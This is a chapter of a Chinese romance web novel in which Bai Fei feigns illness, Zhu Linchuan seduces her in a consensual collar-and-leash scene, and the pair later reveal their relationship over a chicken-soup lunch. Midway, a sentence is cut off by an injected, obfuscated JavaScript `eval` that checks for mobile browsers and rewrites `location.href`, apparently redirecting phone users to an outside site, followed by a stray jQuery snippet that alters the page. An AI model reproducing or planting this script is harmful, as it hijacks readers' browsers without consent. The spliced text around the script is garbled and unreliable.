“在看什么?”
白绯僵硬侧头,果然是祝临川。
他正阴恻恻地盯着叙白的别墅,看样子像是企图用目光荡平眼前的一切。
X战警啊你?
白绯眼珠狡黠一转,果断软下了身体,侧身勾住了祝临川的脖子挂在了他身上,矫揉造作地干嚎:“啊,头好痛,是不是昨天在江边吹了风...”
她一边装娇弱,一边把脸埋在祝临川的胸口揩油。
嗯,软硬合适,又有弹性,不大不小正好。不像周端,白绯怀疑他的罩杯都要比她这个真女人大了。
其实明眼人都能看出她是演的,可惜祝临川却关心则乱。他瞬间也顾不上吃醋了,脸上都是内疚:“疼得厉害?都怪我,昨天不该让你在江边等那么久。”
他一把打横抱起白绯就要往车里放,看样子是准备送她去医院。
白绯心头一凛,瞬间想起了那个除了你好外一个字都不能信的急诊科大夫。这可不能去,露馅不说,少不得还要挨顿骂。
她赶紧腾出一手扒住了车顶,拖长了腔调示弱:“等等!其实也没那么严重啦,你给我揉揉就能好了~”
祝临川这下也回过味来。他垂眸仔细打量了下白绯,脸色红润眼眸明亮,哪有半分不适的模样。
白绯看他盯着自己若有所思的模样,赶紧伸出另一只手捂住自己的额头开始叫唤。
“哎哟,头真的好疼啊。要是有哪个英俊帅气的小伙子能把我抱到床上,然后再来个马杀鸡就好了。”
说完还偷偷睁开一只眼睛试探祝临川的反应,另一只手依然牢牢撑在车门上以防真的被送进医院。
祝临川差点被气笑。
“好啊。”他也不戳穿,只是意味深长地笑笑,竟真的顺势进了小楼。
祝临川把白绯抱到房间床上,又扶着她的脑袋搁在自己大腿上,双手指肚开始按揉太阳穴。
若说一开始,白绯还有装的成分,后来则是真的被按爽了。她感觉此刻的自己就像平时在小院墙上晒太阳的三花,浑身都软成了一滩水。
“唔,好舒服。”她闭着眼睛享受身后的服务,舒服得轻叹一口气,“临川,你不会连按摩都学过吧?”
“嗯。”祝临川低低应了声,指腹打着圈以一种恰到好处的力道按揉。片刻后,又换成了用掌心包裹住额角侧边摁压,舒适感便如同涨潮的海水般顺着按压点弥漫开来。
就在白绯即将被睡意俘获的时候,却突然听到耳边传来恶魔低语:“还有更舒服的...要试试吗?”
“嗯。”白绯的回答根本就没有过脑,直到她脱口而出答应后,浑沌的神经才后知后觉出不对劲。
温热的掌心离开,白绯迷糊地睁开眼,然而房间里已经没有了祝临川的身影。
“干嘛去了?”白绯有些不满地嘀咕道:“不是说要给我试试更舒服的吗?难道去拿精油了?”
她索性从床上起来,拿着水杯站在窗边喝水。
也不知道周端有没有和周芸联系,说来还都是周家姓的,也算缘分呢。
她正兀自沉思,突然只听身后“咔哒”一声轻响。
“你跑哪儿去...”
话没能说完,白绯原地愣成了目瞪口呆的表情包,手里的杯子都没端稳,水洒了满手,滴答滴答又淌了一地。
房间里很静,静得她能听到自己“咕咚”咽口水的声音,还有异常清晰的金属搭扣咬合声。
白绯猛地扭头拉上了窗帘,动作之大差点把自己的脖子都扭断。
“你你你你...”她揪着窗帘挡在自己身前,只觉得此刻的自己弱小无助又可怜。
“大白天的,你怎么穿成这样!”
“你不是就喜欢这样的吗?”祝临川慢条斯理地扣上喉结上的项圈,修长有力的手指沿着性感的唇一路向上,最终停在了浓密的黑发间。
白绯的视线不由自主地跟随着他手的动作,在发现隐藏在黑发间的狼耳发箍后,彻底不淡定了。
早上是谁搁那儿装良家妇男,谴责外面的男人都是烧货呢?现在这个半裸男难道是被什么了不得的东西夺舍了吗?
“你不怕被人发现,到时社死离开地球去火星都来不及!”白绯很想对诱惑说不,可该死地却发现自己根本移不开眼睛。
祝临川反手合上了房门,打开了立在门边的落地灯。
昏暗的房间里,暖色的灯光像流淌的蜂蜜,给蜜色的胸肌腹肌渡上了了一层诱人的色泽。也不知是不是巧合,祝临川竟还特意换了条裤子,是和早上方瑜的视频里同款的灰色运动裤,此刻就松松地卡在胯部,要掉不掉。
祝临川向前走了一步,紧绷的腰部线条便在暖光下泛起野性的,让人心跳骤停的光泽。
“今天楼里只有我们俩和小施安夏,她俩在院后头折纸活,还要盯着炖鸡的火候,没有三个小时不会过来。”
一根犹带着体温的黑色皮质牵引绳被塞进了白绯僵硬的手里。
白绯呆呆地顺着绳索向上看去,发现另一端分明就连在祝临川喉间的项圈之上。
时间仿佛凝固了,白绯张大了嘴,唯一的反应就是攥紧了手里的绳索。粗糙的皮革纹理因为用力而摩擦着她细嫩的掌心,带来一种直达□□深处的痒。
祝临川在她的注视下屈膝,跪在了身前。他微微歪了歪头,黑发间狼犬发箍的尖耳朵也跟着微微一颤。而那双浅灰色的眸子里则翻涌着毫不掩饰的炽烈的情绪,此刻就这么自下而上看着掌握着他全部的人。
“所以,我们会有很多时间,可以让你对我...为所欲为。”祝临川倾身,炙热的唇带着一种极致的诱惑,轻轻印在白绯的指尖。他唇角勾起一个危险的弧度,嗓音沙哑,吐出了最后两个字,“主人。”
血液上涌,理智崩塌。
白绯猛地拽紧了手中的绳索,低下头去。
祝临川温顺地仰头,仿佛当真予取予求。
随着绳索的缩短,二人的唇差之毫厘。然而就在即将触碰的前一秒,方才还主动得像个狼妖似的男人却突然偏过头去,让白绯的吻落在了那毛绒绒的狼耳之上。
白绯:?
她又低下头去,去寻这个磨人的小妖精的嘴唇,然而这次却又落在了脸颊上。
搞什么啊?箭在弦上,这小妖精怎么光撩不灭火啊!
“呵...”
耳边传来一声轻笑。显然,这厮是故意的。
果然,祝临川仰头轻轻啄吻了下白绯绯红的耳垂,眼里仿佛洒落着细碎的星光,带着笑意一字一顿问道:“早上你说的话,我没有听懂,可以再说一次给我听吗?”
好啊!原来在这儿等着呢!
“你!你怎么这么烦人!”白绯恼羞成怒,丢下牵引绳就想走,却被祝临川挡住了去路。
他张开嘴,用牙齿叼住牵引绳的末端,将它绑在了白绯的手腕上。动作间,湿热的舌尖若有似无地舔舐着敏感的手腕内侧,带来让灵魂都震颤的酥麻。
“不要走,不要丢下我。”祝临川仿佛又变成了早上那只可怜巴巴的委屈小狗,将脸颊靠在白绯绑着绳索的左手手心上,眼神湿漉漉的:“小狗只是想要一个身份,主人,可以给我吗?”
白绯的心又软下来。算了,怎么这么没有安全感。
她叹了口气,双手捧住祝临川的脸颊,用力一挤,把人活活挤出了一张鸭子嘴。
“你想我说多少遍都可以。我喜欢的从来都只有你一个,往后余生都是你。现在,满意了吗?”
祝临川的眼睛不可思议地瞪大,哪还有方才那副游刃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738429|163672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有余的祸水模样。
白绯被他这副模样逗笑,伸手刮了刮他的鼻子,毫不客气地吐槽道:“看把你能的,还学会色诱了。我要是不上当,真走了出去找外头那些烧男,看你哭不哭鼻子。”
“不许,不许找别人。”祝临川猛地站起来,把白绯严丝合缝搂进了怀里,“我真的好高兴,我也爱你,绯绯,我用我的全部...”
祝临川没能说完。
白绯向后拉紧了手上的牵引绳,迫使祝临川微微后仰着头,分开了二人的距离。
“爱,与其说,不如做。”她勾起一个坏笑,手上用力,让祝临川因为项圈的拉扯而窒息。
此刻的白绯还不知道,她会有多后悔说出这句话,因为祝临川确实做得太够了。
三小时后,小施敲响了白绯的房门:“绯绯姐,你在吗?可以吃午饭啦!”
门后传来一阵乒呤乓啷的响动,紧跟着是白绯气息不稳的回答:“好,这就来。”
小施疑惑地挠了挠下巴,催促道:“那你快来哈,凉了鸡汤就腥了。对了,你看见临川了吗?他房间门开着,人不知道去哪儿了。”
还能去哪儿,这不是正在床上赖着呢嘛!
“我给他打电话吧,你们先去吃。”
“唉,好。”
小施的脚步声逐渐远去,白绯艰难地把自己从床上的八爪鱼怀里撕了下来,躲进了浴室。
“你快去洗洗,一会儿小施该怀疑了。”白绯隔着门催促道。
镜子里,自己身上几乎全是梅花印记。因为那句话,祝临川当真差点把她做死在床上。
“累吗?我给你洗吧?”玻璃门上出现一个影子,“怎么还锁门?”
白绯可不敢放他进来,哭笑不得道:“快去洗吧你!”
十五分钟后,二人终于来到了后院。小施和安夏已经等得望眼欲穿。
“哇,好香啊!”呼呼吹着风的电扇将鸡汤的香气吹到了白绯的脸前,让操劳了一上午的身体终于感到了饥饿。
鸡是用柴火炖的,在大铁锅里炖了三个小时,早已软烂入味。里头还飘着不少枸杞和药材,因此香味里还带着药材的清香,不会让人觉得太腻。
祝临川盛了一碗汤,又细心地撇了油,递给白绯:“小心烫。”
白绯喝了一口,只觉得胃里都舒坦了。
锅边上还放着一个大冰桶,里边冰镇着一大壶酸梅汤。鸡肉配着调制的蘸料,再来一口冰镇的酸梅汤,当真是享受。
小施边吃边赞叹:“临川,你真的太厉害了。这鸡真的好吃,还有这酸梅汤,我还是头一回喝用药材炖出来的真酸梅汤呢!”
陈安夏也吃了好几碗,抚着隆起的小肚子瘫在座位上:“是啊,外头店里的都是用酸梅汤粉泡出来的。不行,我得解开裤子扣子,肚子要撑炸了。”
祝临川很谦虚:“是你们火候看得好,这鸡也不错,确实是散养的土鸡。”
吃过现杀的农家土鸡后就会发现,和超市里的冰冻鸡口感可谓是天差地别。
白绯也撑得不行,因为祝临川一直在边上殷勤地伺候,在他盛第三碗鸡汤的时候,白绯终于掌不住了。
“我不行了,真不能再喝了,又不是坐月子。你听听,肚子里都是水了。”
祝临川笑笑,又夹了一块腿肉:“那你再吃点肉。”
陈安夏在边上看着,感慨道:“临川对绯绯姐真好啊!”
小施在边上笑,也给她夹了块鸡脖:“别羡慕,哥也给你夹。”
陈安夏回了块鸡屁股:“哥,你也吃。”
祝临川笑着看他俩闹,正要俯身给白绯再夹块肉,就听见边上人波澜不惊道:“哦,因为我俩在一起了嘛!”
他猛地扭头,手里的筷子噼啪一声断成了两截。